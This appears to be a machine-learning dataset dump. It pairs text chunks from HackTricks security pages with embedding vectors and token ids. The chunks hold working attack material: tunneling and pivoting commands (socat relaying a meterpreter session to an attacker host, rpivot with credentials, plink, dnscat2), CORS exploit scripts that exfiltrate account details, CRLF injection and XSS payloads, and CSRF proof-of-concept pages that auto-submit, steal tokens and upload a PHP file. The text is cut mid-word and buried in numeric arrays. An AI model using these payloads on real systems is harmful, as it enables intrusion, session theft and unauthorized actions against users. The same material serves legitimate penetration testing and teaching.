text
stringlengths
5
3.08k
embedding
list
tokens
list
database
stringclasses
5 values
file
stringlengths
5
9
chunk
int64
0
192
you don't need to be a local admin to create reverse port forwards on high ports. rport2port localin this case, the port is opened in the beacon host, not in the team server and the traffic is sent to the cobalt strike client ( not to the team server ) and from there to the indicated host : portrportfwd _ local [ bind ...
[ 0.2502971887588501, -0.32835152745246887, -0.7182753682136536, 0.4952643811702728, -0.3268671929836273, -0.3502424657344818, -0.19786149263381958, 0.4341478645801544, 0.5519903302192688, 0.9480230212211609, 0.4036312401294708, 0.6041139364242554, 0.8289048075675964, -0.844185471534729, -...
[ 2017, 2123, 1005, 1056, 2342, 2000, 2022, 1037, 2334, 4748, 10020, 2000, 3443, 7901, 3417, 19390, 2006, 2152, 8831, 1012, 1054, 6442, 2475, 6442, 2334, 2378, 2023, 2553, 1010, 1996, 3417, 2003, 2441, 1999, 1996, 14400, 3677, 1010, 2025, 1...
hack_tricks
15.txt
3
##lm proxyvictim > python client. py - - server - ip < rpivot _ server _ ip > - - server - port 9999 - - ntlm - proxy - ip < proxy _ ip > - - ntlm - proxy - port 8080 - - domain contoso. com - - username alice - - password p @ ssw0rdvictim > python client. py - - server - ip < rpivot _ server _ ip > - - server - port 9...
[ 0.0794115960597992, -0.26371103525161743, -0.7414253354072571, 0.23735669255256653, -0.5043108463287354, -0.08886454999446869, -0.28594741225242615, 0.1538580358028412, 0.2912035584449768, 0.6076468229293823, 0.09590617567300797, 0.024015290662646294, 0.21814383566379547, -0.03218621388077...
[ 13728, 24540, 7903, 3775, 2213, 1028, 18750, 7396, 1012, 1052, 2100, 1011, 1011, 8241, 1011, 12997, 1026, 1054, 8197, 22994, 1035, 8241, 1035, 12997, 1028, 1011, 1011, 8241, 1011, 3417, 25897, 2683, 1011, 1011, 23961, 13728, 1011, 24540, 10...
hack_tricks
15.txt
4
##tim > socat. exe tcp - listen : 2222 openssl, verify = 1, cert = client. pem, cafile = server. crt, connect - timeout = 5 | tcp : hacker. com : 443, connect - timeout = 5 # execute the meterpreteryou can bypass a non - authenticated proxy executing this line instead of the last one in the victim's console : openssl, ...
[ 0.4629230499267578, -0.1372472643852234, -0.17531223595142365, 1.0284790992736816, 0.23090878129005432, -0.12936173379421234, -0.24723981320858002, 0.33783143758773804, 0.662007749080658, 0.03340483829379082, -0.0534554086625576, -0.04223394766449928, 0.23892821371555328, -0.37723782658576...
[ 3775, 2213, 1028, 27084, 4017, 1012, 4654, 2063, 22975, 2361, 1011, 4952, 1024, 19015, 2475, 7480, 14540, 1010, 20410, 1027, 1015, 1010, 8292, 5339, 1027, 7396, 1012, 21877, 2213, 1010, 24689, 9463, 1027, 8241, 1012, 13675, 2102, 1010, 7532...
hack_tricks
15.txt
5
localhost - p 2222 - l www - data - i vulnerable # connects to the ssh of the victimplink. exeit's like a console putty version ( the options are very similar to an ssh client ). as this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse conn...
[ 0.46714210510253906, 0.09287184476852417, -0.7124293446540833, 0.6386491060256958, -0.7069851756095886, -0.1475452482700348, -0.38229072093963623, 0.49060797691345215, 0.4122737944126129, 0.4154667556285858, 0.08889064937829971, -0.06689371168613434, 0.31161245703697205, -0.316259682178497...
[ 2334, 15006, 2102, 1011, 1052, 19015, 2475, 1011, 1048, 7479, 1011, 2951, 1011, 1045, 8211, 1001, 8539, 2000, 1996, 7020, 2232, 1997, 1996, 6778, 28296, 2243, 1012, 4654, 20175, 1005, 1055, 2066, 1037, 10122, 2404, 3723, 2544, 1006, 1996, ...
hack_tricks
15.txt
6
##p using mstsc. exe, and we should receive a prompt saying that the socksoverrdp plugin is enabled, and it will listen on 127. 0. 0. 1 : 1080. connect via rdp and upload & execute in the victim machine the * * socksoverrdp - server. exe * * binary : c : \ socksoverrdp - x64 > socksoverrdp - server. exenow, confirm in ...
[ 0.2635970115661621, -0.10709235817193985, -0.3791791796684265, 0.49181246757507324, -0.6191755533218384, -0.4043371081352234, -0.33489689230918884, 0.5213108062744141, 0.7225304245948792, 0.3980255722999573, -0.3473656475543976, -0.008412252180278301, 0.3266095817089081, -0.700027287006378...
[ 2361, 2478, 5796, 3215, 2278, 1012, 4654, 2063, 1010, 1998, 2057, 2323, 4374, 1037, 25732, 3038, 2008, 1996, 14829, 7840, 4103, 2361, 13354, 2378, 2003, 9124, 1010, 1998, 2009, 2097, 4952, 2006, 13029, 1012, 1014, 1012, 1014, 1012, 1015, ...
hack_tricks
15.txt
7
- p p @ ssw0rd tunneldomain. com - r # you can see the victim at 1. 1. 1. 2the tunnel will be very slow. you can create a compressed ssh connection through this tunnel by using : ssh < user > @ 1. 1. 1. 2 - c - c blowfish - cbc, arcfour - o compressionlevel = 9 - d 1080dnscat2 * * * * download it from here. establishes...
[ 0.30071938037872314, -0.15388257801532745, -0.017103005200624466, -0.261272668838501, -0.16487547755241394, 0.1725415587425232, -0.003289940534159541, 0.06038491427898407, 0.30969294905662537, 1.1511993408203125, 0.4393918514251709, -0.16065466403961182, 0.3658735752105713, -0.515124022960...
[ 1011, 1052, 1052, 1030, 7020, 2860, 2692, 4103, 5234, 9527, 8113, 1012, 4012, 1011, 1054, 1001, 2017, 2064, 2156, 1996, 6778, 2012, 1015, 1012, 1015, 1012, 1015, 1012, 1016, 10760, 5234, 2097, 2022, 2200, 4030, 1012, 2017, 2064, 3443, 103...
hack_tricks
15.txt
8
/ hans url is needed in both systems to create tun adapters and tunnel data between them using icmp echo requests.. / hans - v - f - s 1. 1. 1. 1 - p p @ ssw0rd # start listening ( 1. 1. 1. 1 is ip of the new vpn connection ). / hans - f - c < server _ ip > - p p @ ssw0rd - vping 1. 1. 1. 100 # after a successful conne...
[ 0.1507900357246399, -0.3300495445728302, -0.3789950907230377, 0.2343677580356598, -0.3709118664264679, 0.0006732884212397039, 0.1883574277162552, -0.27226972579956055, -0.2513633072376251, 0.7815226316452026, 0.03555053845047951, 0.4790186583995819, 0.7839778661727905, -0.8819758296012878,...
[ 1013, 7003, 24471, 2140, 2003, 2734, 1999, 2119, 3001, 2000, 3443, 27112, 15581, 2545, 1998, 5234, 2951, 2090, 2068, 2478, 24582, 8737, 9052, 11186, 1012, 1012, 1013, 7003, 1011, 1058, 1011, 1042, 1011, 1055, 1015, 1012, 1015, 1012, 1015, ...
hack_tricks
15.txt
9
2 - 3 - 4. ngrok. io / sniffing http callsuseful for xss, ssrf, ssti... directly from stdout or in the http interface url : / / 127. 0. 0. 1 : 4040. tunneling internal http service. / ngrok url localhost : 8080 - - host - header = rewrite # example of resulting link : urls : / / abcd - 1 - 2 - 3 - 4. ngrok. io / # with...
[ 0.2661544680595398, 0.6478669047355652, -0.07726559042930603, -0.0552528090775013, 0.029663309454917908, -0.5350751280784607, -0.5159696936607361, -0.053783103823661804, -0.12529507279396057, 1.9256380796432495, 0.3559108078479767, 0.2584579586982727, 0.9461326003074646, -0.214805424213409...
[ 1016, 1011, 1017, 1011, 1018, 1012, 12835, 27923, 1012, 22834, 1013, 27646, 8299, 4455, 8557, 3993, 2005, 1060, 4757, 1010, 20896, 2546, 1010, 7020, 3775, 1012, 1012, 1012, 3495, 2013, 2358, 26797, 2102, 2030, 1999, 1996, 8299, 8278, 24471,...
hack_tricks
15.txt
10
[CLS] cors - misconfigurations & bypasswhat is cors? the cors ( cross - origin resource sharing ) standard is needed because it allows servers to specify who can access its assets and which http request methods are allowed from external resources. a same - origin policy, requiers that both the server requesting a resou...
[ -0.2603400945663452, -0.576130747795105, -0.3042535185813904, 0.3650643825531006, -0.45504528284072876, 0.01568695530295372, -0.16422167420387268, -0.15731246769428253, 0.45159482955932617, 1.0468697547912598, -0.11947467923164368, -0.232724130153656, 0.4030011296272278, -0.509811520576477...
[ 101, 2522, 2869, 1011, 28616, 8663, 8873, 27390, 10708, 1004, 11826, 2860, 12707, 2003, 2522, 2869, 1029, 1996, 2522, 2869, 1006, 2892, 1011, 4761, 7692, 6631, 1007, 3115, 2003, 2734, 2138, 2009, 4473, 14903, 2000, 20648, 2040, 2064, 3229, ...
hack_tricks
150.txt
0
or tls client certificates ). var xhr = new xmlhttprequest ( ) ; xhr. onreadystatechange = function ( ) { if ( xhr. readystate = = = xmlhttprequest. done & & xhr. status = = = 200 ) { console. log ( xhr. responsetext ) ; } } xhr. open ('get ','http : / / example. com / ', true ) ; xhr. withcredentials = true ; xhr. sen...
[ 0.3018110394477844, -0.7010443210601807, 0.06816855818033218, 0.5190121531486511, -0.23059190809726715, -0.18304532766342163, -0.6232563853263855, 0.38479313254356384, 0.22325439751148224, 0.6661747097969055, 0.15087130665779114, -0.5097722411155701, 0.4009009003639221, -0.1738550662994384...
[ 2030, 1056, 4877, 7396, 17987, 1007, 1012, 13075, 1060, 8093, 1027, 2047, 20950, 11039, 25856, 2890, 15500, 1006, 1007, 1025, 1060, 8093, 1012, 2006, 16416, 5149, 9153, 15007, 22043, 1027, 3853, 1006, 1007, 1063, 2065, 1006, 1060, 8093, 101...
hack_tricks
150.txt
1
request - headerthe server might return a response like the following : http / 1. 1 204 no content... access - control - allow - origin : url put, post, optionsaccess - control - allow - headers : special - request - headeraccess - control - allow - credentials : trueaccess - control - max - age : 240access - control -...
[ 0.3085947334766388, -0.32787591218948364, 0.08392549306154251, 0.5024264454841614, -0.04705645143985748, -0.07594544440507889, -0.29616060853004456, -0.012752236798405647, 0.5091933608055115, 0.3403226435184479, 0.018640365451574326, -0.58315110206604, 0.5595928430557251, -0.40172338485717...
[ 5227, 1011, 20346, 10760, 8241, 2453, 2709, 1037, 3433, 2066, 1996, 2206, 1024, 8299, 1013, 1015, 1012, 1015, 19627, 2053, 4180, 1012, 1012, 1012, 3229, 1011, 2491, 1011, 3499, 1011, 4761, 1024, 24471, 2140, 2404, 1010, 2695, 1010, 7047, ...
hack_tricks
150.txt
2
network, access will be granted. exploitable misconfigurationsnotice that most of the real attacks require access - control - allow - credentials to be set to true because this will allow the browser to send the credentials and read the response. without credentials, many attacks become irrelevant ; it means you can't ...
[ 0.05153872072696686, -0.6794225573539734, -0.23026558756828308, 0.4543846845626831, -0.3195333778858185, -0.15117822587490082, -0.6553125977516174, -0.20724569261074066, 0.20690986514091492, 0.9361969232559204, 0.03993257135152817, -0.7258837223052979, 0.36896759271621704, -0.5414370894432...
[ 2897, 1010, 3229, 2097, 2022, 4379, 1012, 18077, 3085, 28616, 8663, 8873, 27390, 10708, 17048, 6610, 2008, 2087, 1997, 1996, 2613, 4491, 5478, 3229, 1011, 2491, 1011, 3499, 1011, 22496, 2000, 2022, 2275, 2000, 2995, 2138, 2023, 2097, 3499, ...
hack_tricks
150.txt
3
sandboxed iframe : < iframe sandbox = " allow - scripts allow - top - navigation allow - forms " src = " data : text / html, < script > var req = new xmlhttprequest ( ) ; req. onload = reqlistener ; req. open ('get ','https : / / acd11ffd1e49837fc07b373a00eb0047. web - security - academy. net / accountdetails ', true )...
[ 0.5370711088180542, -0.3474442660808563, -0.2901556193828583, 0.6147556304931641, 0.011340770870447159, -0.2245239019393921, -0.8304165601730347, 0.5085365176200867, 0.32908880710601807, 0.2683439254760742, 0.0603964664041996, 0.23553769290447235, 0.31475722789764404, -0.17907533049583435,...
[ 5472, 8758, 2098, 2065, 6444, 2063, 1024, 1026, 2065, 6444, 2063, 5472, 8758, 1027, 1000, 3499, 1011, 14546, 3499, 1011, 2327, 1011, 9163, 3499, 1011, 3596, 1000, 5034, 2278, 1027, 1000, 2951, 1024, 3793, 1013, 16129, 1010, 1026, 5896, 10...
hack_tricks
150.txt
4
##i characters and. -. then, something like victimdomain. com {. attacker. com inside the origin header will be interpreted by the regexp as if the domain was victimdomain. com but the browser ( in this case safari supports this character in the domain ) will access the domainattacker. com. the _ character ( in subdoma...
[ 0.4084164500236511, 0.09071940183639526, -0.07253041863441467, -0.17613418400287628, -0.09733223915100098, -0.24193324148654938, -0.16055096685886383, 0.20300330221652985, 0.5502338409423828, 0.9428303241729736, 0.12600168585777283, 0.005939045455306768, 0.5803965330123901, -0.276350557804...
[ 2072, 3494, 1998, 1012, 1011, 1012, 2059, 1010, 2242, 2066, 6778, 9527, 8113, 1012, 4012, 1063, 1012, 17346, 1012, 4012, 2503, 1996, 4761, 20346, 2097, 2022, 10009, 2011, 1996, 19723, 10288, 2361, 2004, 2065, 1996, 5884, 2001, 6778, 9527, ...
hack_tricks
150.txt
5
craft this request in burp suite and a server - side cache may save the response and serve it to other people. the payload i've used will change the page's character set to utf - 7, which is notoriously useful for creating xss vulnerabilities. client - side cache poisoningyou may have occasionally encountered a page wi...
[ -0.33309879899024963, -0.14456303417682648, -0.31965798139572144, 0.5843247175216675, -0.3537988066673279, -0.12894657254219055, -0.8786366581916809, 0.08981014788150787, 1.08695650100708, 0.3393843472003937, 0.009151613339781761, 0.2077733278274536, 0.4492316246032715, 0.25406795740127563...
[ 7477, 2023, 5227, 1999, 20934, 14536, 7621, 1998, 1037, 8241, 1011, 2217, 17053, 2089, 3828, 1996, 3433, 1998, 3710, 2009, 2000, 2060, 2111, 1012, 1996, 18093, 1045, 1005, 2310, 2109, 2097, 2689, 1996, 3931, 1005, 1055, 2839, 2275, 2000, ...
hack_tricks
150.txt
6
authority information like cookies are used for authentication. the cookies are included when requesting a resource from a different host. burpsuite plugin : url more about the difefrent types of xssi and how to exploit them here. try to add a callback parameter in the request. maybe the page was prepared to send the d...
[ 0.19592952728271484, -0.5875937938690186, -0.22555916011333466, 0.2625589072704315, -0.5071975588798523, -0.3783904016017914, 0.11584638059139252, 0.3588986098766327, 0.709428608417511, 0.8347107172012329, 0.18007205426692963, 0.06555140018463135, 0.5301603078842163, -0.10531198978424072, ...
[ 3691, 2592, 2066, 16324, 2024, 2109, 2005, 27280, 1012, 1996, 16324, 2024, 2443, 2043, 17942, 1037, 7692, 2013, 1037, 2367, 3677, 1012, 20934, 14536, 28880, 2063, 13354, 2378, 1024, 24471, 2140, 2062, 2055, 1996, 4487, 7959, 19699, 4765, 41...
hack_tricks
150.txt
7
ip of the victim ). even if you set the ttl very low ( 0 or 1 ) browsers have a cache that will prevent you from abusing this for several seconds / minuted. so, this technique is useful to bypass explicit checks ( the victim is explicitly performing a dns request to check the ip of the domain and when the bot is called...
[ 0.08033150434494019, -0.33832088112831116, -0.4740154445171356, 0.4671449363231659, -0.5502598285675049, -0.47732600569725037, -0.6847838163375854, -0.37624436616897583, 0.32921621203422546, 0.5819595456123352, -0.21878519654273987, -0.49372878670692444, 0.22617186605930328, -0.51281231641...
[ 12997, 1997, 1996, 6778, 1007, 1012, 2130, 2065, 2017, 2275, 1996, 23746, 2140, 2200, 2659, 1006, 1014, 2030, 1015, 1007, 16602, 2015, 2031, 1037, 17053, 2008, 2097, 4652, 2017, 2013, 8273, 7741, 2023, 2005, 2195, 3823, 1013, 3371, 2094, ...
hack_tricks
150.txt
8
the browser finds that the domain isn't responding to him, it will use the second given ip, so he will access a different place bypassing sop. the attacker can abuse that to get the information and exfiltrate it. note that in order to access localhost you should try to rebind 127. 0. 0. 1 in windows and 0. 0. 0. 0 in l...
[ -0.23343363404273987, -0.5037052035331726, -0.21623851358890533, 0.21382282674312592, -0.40465062856674194, -0.43161889910697937, -0.37763792276382446, 0.42304664850234985, 0.29637396335601807, 1.2977509498596191, 0.0005152028752490878, -0.06751129776239395, 0.32362017035484314, -0.4220683...
[ 1996, 16602, 4858, 2008, 1996, 5884, 3475, 1005, 1056, 14120, 2000, 2032, 1010, 2009, 2097, 2224, 1996, 2117, 2445, 12997, 1010, 2061, 2002, 2097, 3229, 1037, 2367, 2173, 11826, 2075, 2061, 2361, 1012, 1996, 17346, 2064, 6905, 2008, 2000, ...
hack_tricks
150.txt
9
[CLS] crlf ( % 0d % 0a ) injectionif you are interested in hacking career and hack the unhackable - we are hiring! ( fluent polish written and spoken required ). careers | stmcyber. com | penetration testingstmcyber. comwhat is crlf? when a browser sends a request to a web server, the web server answers back with a res...
[ -0.5014297962188721, -0.2202581763267517, -0.5044934749603271, 0.10143696516752243, -0.5966522693634033, -0.06931617110967636, -0.4917658269405365, 0.533302903175354, 0.6726261973381042, 1.0640904903411865, 0.08762571960687637, 0.5859442353248596, 0.1376616656780243, -0.43307581543922424, ...
[ 101, 13675, 10270, 1006, 1003, 1014, 2094, 1003, 1014, 2050, 1007, 13341, 10128, 2017, 2024, 4699, 1999, 23707, 2476, 1998, 20578, 1996, 4895, 3270, 3600, 3085, 1011, 2057, 2024, 14763, 999, 1006, 19376, 3907, 2517, 1998, 5287, 3223, 1007, ...
hack_tricks
151.txt
0
the below : / index. php? page = home & % 0d % 0a127. 0. 0. 1 - 08 : 15 - / index. php? page = home & restrictedaction = editthe % 0d and % 0a are the url encoded forms of cr and lf. therefore the log entries would look like this after the attacker inserted those characters and the application displays it : ip - time -...
[ -0.010674295015633106, 0.02001114934682846, -0.3369414806365967, 0.41173169016838074, -0.12472589313983917, 0.044833339750766754, 0.0482843816280365, 0.49358195066452026, 0.39707255363464355, 1.1454880237579346, 0.40543365478515625, 0.28910475969314575, 0.4134991466999054, -0.6809046864509...
[ 1996, 2917, 1024, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 2188, 1004, 1003, 1014, 2094, 1003, 1014, 27717, 22907, 1012, 1014, 1012, 1014, 1012, 1015, 1011, 5511, 1024, 2321, 1011, 1013, 5950, 1012, 25718, 1029, 3931, 1027, 2188, 1004, ...
hack_tricks
151.txt
1
crlfcrlf to tell the browser that the request body begins. that way he is able to insert data such as xss payload, for example :? name = bob % 0d % 0a % 0d % 0a < script > alert ( document. domain ) < / script > the above will display an alert window in the context of the attacked domain. an example of http response sp...
[ -0.4052838981151581, -0.08160564303398132, -0.263255774974823, 0.05084240809082985, -0.6419272422790527, 0.19723594188690186, -0.6975583434104919, 0.27923262119293213, 0.6400928497314453, 0.7966905832290649, 0.21875625848770142, 0.1160820946097374, 0.3673637807369232, -0.1856304109096527, ...
[ 13675, 10270, 26775, 10270, 2000, 2425, 1996, 16602, 2008, 1996, 5227, 2303, 4269, 1012, 2008, 2126, 2002, 2003, 2583, 2000, 19274, 2951, 2107, 2004, 1060, 4757, 18093, 1010, 2005, 2742, 1024, 1029, 2171, 1027, 3960, 1003, 1014, 2094, 1003,...
hack_tricks
151.txt
2
##rs ( cross origin resource sharing ), he can use javascript to access resources that are otherwise protected by sop ( same origin policy ) which prevents sites from different origins to access each other. new http request in ssrfabusing crlf injection you can craft a new http request and inject it. a good example can...
[ 0.449834406375885, -0.24144136905670166, -0.5844074487686157, 0.6243003606796265, -0.20362022519111633, -0.15381976962089539, -0.8987234234809875, -0.096859410405159, 0.4616839587688446, 0.9164621829986572, 0.23674243688583374, 0.0802634134888649, 0.7626144289970398, -0.6209807395935059, ...
[ 2869, 1006, 2892, 4761, 7692, 6631, 1007, 1010, 2002, 2064, 2224, 9262, 22483, 2000, 3229, 4219, 2008, 2024, 4728, 5123, 2011, 2061, 2361, 1006, 2168, 4761, 3343, 1007, 2029, 16263, 4573, 2013, 2367, 7321, 2000, 3229, 2169, 2060, 1012, 20...
hack_tricks
151.txt
3
##d % 0ahost : % 20redacted. net % 0d % 0aconnection : % 20keep - alive % 0d % 0a % 0d % 0aget % 20 / redirplz % 20http / 1. 1 % 0d % 0ahost : % 20oastify. com % 0d % 0a % 0d % 0acontent - length : % 2050 % 0d % 0a % 0d % 0a http / 1. 1or crafting our prefix to combine with the trailing junk and create a complete secon...
[ 0.21693074703216553, -0.15170618891716003, -0.7544829249382019, 0.732226550579071, -0.671169638633728, -0.2782370150089264, -0.6850254535675049, 0.5846083164215088, 0.6007944941520691, 0.8675474524497986, 0.17752130329608917, 0.5713664293289185, 0.4638060927391052, -0.3836791217327118, -...
[ 2094, 1003, 1014, 4430, 14122, 1024, 1003, 2322, 5596, 18908, 2098, 1012, 5658, 1003, 1014, 2094, 1003, 1014, 22684, 10087, 7542, 1024, 1003, 2322, 20553, 2361, 1011, 4142, 1003, 1014, 2094, 1003, 1014, 2050, 1003, 1014, 2094, 1003, 1014, ...
hack_tricks
151.txt
4
is not possible, you should always use a function to encode the crlf special characters. another good web application security best practise is to update your programming language to a version that does not allow cr and lf to be injected inside functions that set http headers. cheatsheet1. http response splitting • / %...
[ -0.05355975776910782, -0.11750660091638565, 0.38987478613853455, 0.3754318654537201, -0.40642455220222473, -0.2094690203666687, -0.07743194699287415, 0.4513140618801117, 0.32231414318084717, 0.5577739477157593, 0.487068772315979, 0.7818090319633484, 0.7078830003738403, -0.16844642162322998...
[ 2003, 2025, 2825, 1010, 2017, 2323, 2467, 2224, 1037, 3853, 2000, 4372, 16044, 1996, 13675, 10270, 2569, 3494, 1012, 2178, 2204, 4773, 4646, 3036, 2190, 10975, 18908, 5562, 2003, 2000, 10651, 2115, 4730, 2653, 2000, 1037, 2544, 2008, 2515, ...
hack_tricks
151.txt
5
[CLS] csrf ( cross site request forgery ) hackenproof is home to all crypto bug bounties. get rewarded without delays hackenproofwhat is csrf? cross - site request forgery ( also known as csrf ) is a web security vulnerability that allows an attacker to induce users to perform actions that they don't intend to perform....
[ 0.1165037527680397, -0.5613991022109985, -0.04857613518834114, 0.44315019249916077, -0.6472297310829163, -0.3106853663921356, -0.3176509439945221, 0.39239609241485596, 0.3054365813732147, 0.7170870900154114, -0.011616647243499756, -0.234128937125206, 0.1741519272327423, -0.5967499017715454...
[ 101, 20116, 12881, 1006, 2892, 2609, 5227, 15681, 2854, 1007, 20578, 2368, 18907, 2003, 2188, 2000, 2035, 19888, 2080, 11829, 8945, 16671, 3111, 1012, 2131, 14610, 2302, 14350, 20578, 2368, 18907, 2860, 12707, 2003, 20116, 12881, 1029, 2892, ...
hack_tricks
152.txt
0
the token when it is present but skip the validation if the token is omitted. in this situation, the attacker can remove the entire parameter containing the token ( not just its value ) to bypass the validation and deliver a csrf attack. csrf token is not tied to the user sessionsome applications don't validate that th...
[ -0.15526360273361206, -0.24876278638839722, -0.38169214129447937, 0.8621201515197754, -0.46836769580841064, 0.08456391841173172, 0.25565817952156067, 0.3345961570739746, 0.4342942237854004, 1.5632835626602173, 0.5733507871627808, 0.1010674387216568, 0.10239753127098083, -0.3539880216121673...
[ 1996, 19204, 2043, 2009, 2003, 2556, 2021, 13558, 1996, 27354, 2065, 1996, 19204, 2003, 16647, 1012, 1999, 2023, 3663, 1010, 1996, 17346, 2064, 6366, 1996, 2972, 16381, 4820, 1996, 19204, 1006, 2025, 2074, 2049, 3643, 1007, 2000, 11826, 199...
hack_tricks
152.txt
1
security - academy. net / my - account / change - email " method = " post " > < input type = " hidden " name = " email " value = " asd & # 64 ; asd & # 46 ; asd " / > < input type = " hidden " name = " csrf " value = " tzqzzq1tipj8kfno4foaawq7usyzdk8e " / > < input type = " submit " value = " submit request " / > < / f...
[ 0.1179131343960762, -0.6830491423606873, -0.04826963320374489, 0.29693543910980225, -0.6272493600845337, -0.14191679656505585, -0.20308703184127808, 0.6339278817176819, 0.39259231090545654, 0.9547990560531616, 0.2640675902366638, 0.0030958668794482946, 0.44847315549850464, -0.2003961056470...
[ 3036, 1011, 2914, 1012, 5658, 1013, 2026, 1011, 4070, 1013, 2689, 1011, 10373, 1000, 4118, 1027, 1000, 2695, 1000, 1028, 1026, 7953, 2828, 1027, 1000, 5023, 1000, 2171, 1027, 1000, 10373, 1000, 3643, 1027, 1000, 2004, 2094, 1004, 1001, 41...
hack_tricks
152.txt
2
- type application / json via html form, and if you try to do so via xmlhttprequest a preflight request is sent first. however, you could try to send the json data using the content types * * text / plain and application / x - www - form - urlencoded * * just to check if the backend is using the data independently of t...
[ 0.15279345214366913, -0.2967093586921692, -0.3456808924674988, 0.04884764552116394, -0.9913315773010254, 0.13390213251113892, 0.048415862023830414, 0.3205902576446533, 0.4790983200073242, 0.8186138272285461, -0.22901013493537903, 0.24915342032909393, 0.09003613889217377, -0.102064445614814...
[ 1011, 2828, 4646, 1013, 1046, 3385, 3081, 16129, 2433, 1010, 1998, 2065, 2017, 3046, 2000, 2079, 2061, 3081, 20950, 11039, 25856, 2890, 15500, 1037, 3653, 28968, 5227, 2003, 2741, 2034, 1012, 2174, 1010, 2017, 2071, 3046, 2000, 4604, 1996, ...
hack_tricks
152.txt
3
document. forms [ 0 ]. submit ( ) ; < / script > < / body > < / html > head method bypassthe first part of this ctf writeup is explained that oak's source code, a router is set to handle head requests as get requests with no response body - a common workaround that isn't unique to oak. instead of a specific handler tha...
[ 0.6490856409072876, -0.29106441140174866, -0.4398428797721863, 0.1896328628063202, -0.5729736089706421, -0.15458664298057556, 0.1412355750799179, 0.6304525136947632, 0.3680875897407532, 1.1068551540374756, 0.2500011920928955, 0.47143328189849854, 0.07371504604816437, -0.13049806654453278, ...
[ 6254, 1012, 3596, 1031, 1014, 1033, 1012, 12040, 1006, 1007, 1025, 1026, 1013, 5896, 1028, 1026, 1013, 2303, 1028, 1026, 1013, 16129, 1028, 2132, 4118, 11826, 10760, 2034, 2112, 1997, 2023, 14931, 2546, 4339, 6279, 2003, 4541, 2008, 6116, ...
hack_tricks
152.txt
4
= " submit request " / > < img src = x onerror = " csrfform. submit ( ) ; " / > <! - - way 2 to autosubmit - - > < / form > < script > document. forms [ 0 ]. submit ( ) ; / / way 3 to autosubmit < / script > < / body > < / html > form post request through iframe <! - - the request is sent through the iframe withuot rel...
[ 0.4794731140136719, -0.22117212414741516, -0.4639729857444763, 0.7779003381729126, -0.31874099373817444, -0.13636644184589386, -0.46936163306236267, 0.45858877897262573, 0.48987749218940735, 0.8943005800247192, 0.14374610781669617, 0.30857953429222107, 0.4703161120414734, -0.13033562898635...
[ 1027, 1000, 12040, 5227, 1000, 1013, 1028, 1026, 10047, 2290, 5034, 2278, 1027, 1060, 2028, 18933, 2099, 1027, 1000, 20116, 12881, 14192, 1012, 12040, 1006, 1007, 1025, 1000, 1013, 1028, 1026, 999, 1011, 1011, 2126, 1016, 2000, 8285, 6342, ...
hack_tricks
152.txt
5
< / script > multipart / form - data post requestmyformdata = new formdata ( ) ; var blob = new blob ( [ " <? php phpinfo ( ) ;? > " ], { type : " text / text " } ) ; myformdata. append ( " newattachment ", blob, " pwned. php " ) ; fetch ( " http : / / example / some / path ", { method : " post ", body : myformdata, cr...
[ 0.21363456547260284, -0.12286733835935593, 0.13440001010894775, 0.6188483238220215, -0.33823978900909424, -0.010377240367233753, -0.31631746888160706, 0.2589511275291443, 0.6334440112113953, 0.5006181597709656, 0.6496572494506836, 0.08019792288541794, 0.30924171209335327, -0.03087225183844...
[ 1026, 1013, 5896, 1028, 4800, 19362, 2102, 1013, 2433, 1011, 2951, 2695, 5227, 8029, 14192, 2850, 2696, 1027, 2047, 2433, 2850, 2696, 1006, 1007, 1025, 13075, 1038, 4135, 2497, 1027, 2047, 1038, 4135, 2497, 1006, 1031, 1000, 1026, 1029, 2...
hack_tricks
152.txt
6
form > < body > < script > function envia ( ) { document. getelementbyid ( " formulario " ). submit ( ) ; } < / script > <! - - public. html - - > < iframe src = " 2 - 1. html " style = " position : absolute ; top : - 5000 " > < / iframe > < h1 > sitio bajo mantenimiento. disculpe las molestias < / h1 > steal csrf toke...
[ 0.5780722498893738, -0.18216179311275482, -0.5677708387374878, 0.6932294964790344, -0.1951032280921936, -0.2623501121997833, -0.8248865008354187, 0.03502921760082245, 0.2830825448036194, 0.6419805288314819, 0.6143459677696228, 0.28933995962142944, 0.061927955597639084, -0.22353142499923706...
[ 2433, 1028, 1026, 2303, 1028, 1026, 5896, 1028, 3853, 4372, 9035, 1006, 1007, 1063, 6254, 1012, 2131, 12260, 3672, 3762, 3593, 1006, 1000, 5675, 9488, 1000, 1007, 1012, 12040, 1006, 1007, 1025, 1065, 1026, 1013, 5896, 1028, 1026, 999, 101...
hack_tricks
152.txt
7
; } } ; / / make the request xhr. send ( null ) ; } var get _ url = " http : / / google. com? param = value " var post _ url = " http : / / google. com? param = value " gettokenjs ( ) ; steal csrf token and send a post request using an iframe, a form and ajax < form id = " form1 " action = " http : / / google. com? par...
[ 0.5077845454216003, -0.14648640155792236, 0.03458452597260475, 0.15512055158615112, -0.1318054497241974, 0.39818108081817627, -0.5932989716529846, 0.3176787197589874, 0.13111726939678192, 0.8409746885299683, 0.3769276738166809, -0.61000657081604, 0.19321078062057495, 0.005588768981397152, ...
[ 1025, 1065, 1065, 1025, 1013, 1013, 2191, 1996, 5227, 1060, 8093, 1012, 4604, 1006, 19701, 1007, 1025, 1065, 13075, 2131, 1035, 24471, 2140, 1027, 1000, 8299, 1024, 1013, 1013, 8224, 1012, 4012, 1029, 11498, 2213, 1027, 3643, 1000, 13075, ...
hack_tricks
152.txt
8
yoursebsite. com / check. php " enctype = " multipart / form - data " >') ; document. writeln ('< input id = " username " type = " text " name = " username " value = "'+ name +'" / > < br / >') ; document. writeln ('< input id = " token " type = " hidden " name = " token " value = "'+ token +'" / >') ; document. writel...
[ 0.5370822548866272, -0.34881001710891724, 0.3878591060638428, 0.6147178411483765, -0.08138898760080338, 0.0920681431889534, -0.8094893097877502, 0.49789077043533325, 0.2564929127693176, 0.2510323226451874, 0.7215373516082764, -0.10621825605630875, 0.2730368375778198, 0.5423881411552429, ...
[ 6737, 15878, 28032, 2063, 1012, 4012, 1013, 4638, 1012, 25718, 1000, 4372, 6593, 18863, 1027, 1000, 4800, 19362, 2102, 1013, 2433, 1011, 2951, 1000, 1028, 1005, 1007, 1025, 6254, 1012, 4339, 19666, 1006, 1005, 1026, 7953, 8909, 1027, 1000, ...
hack_tricks
152.txt
9
< input type = " text " name = " username " value = " z " > < input type = " checkbox " name = " status " checked = " " > < input id = " token " type = " hidden " name = " token " value = " 0000 " / > < button type = " submit " > submit < / button > < / form > poststeal csrf token with ajax and send a post with a form ...
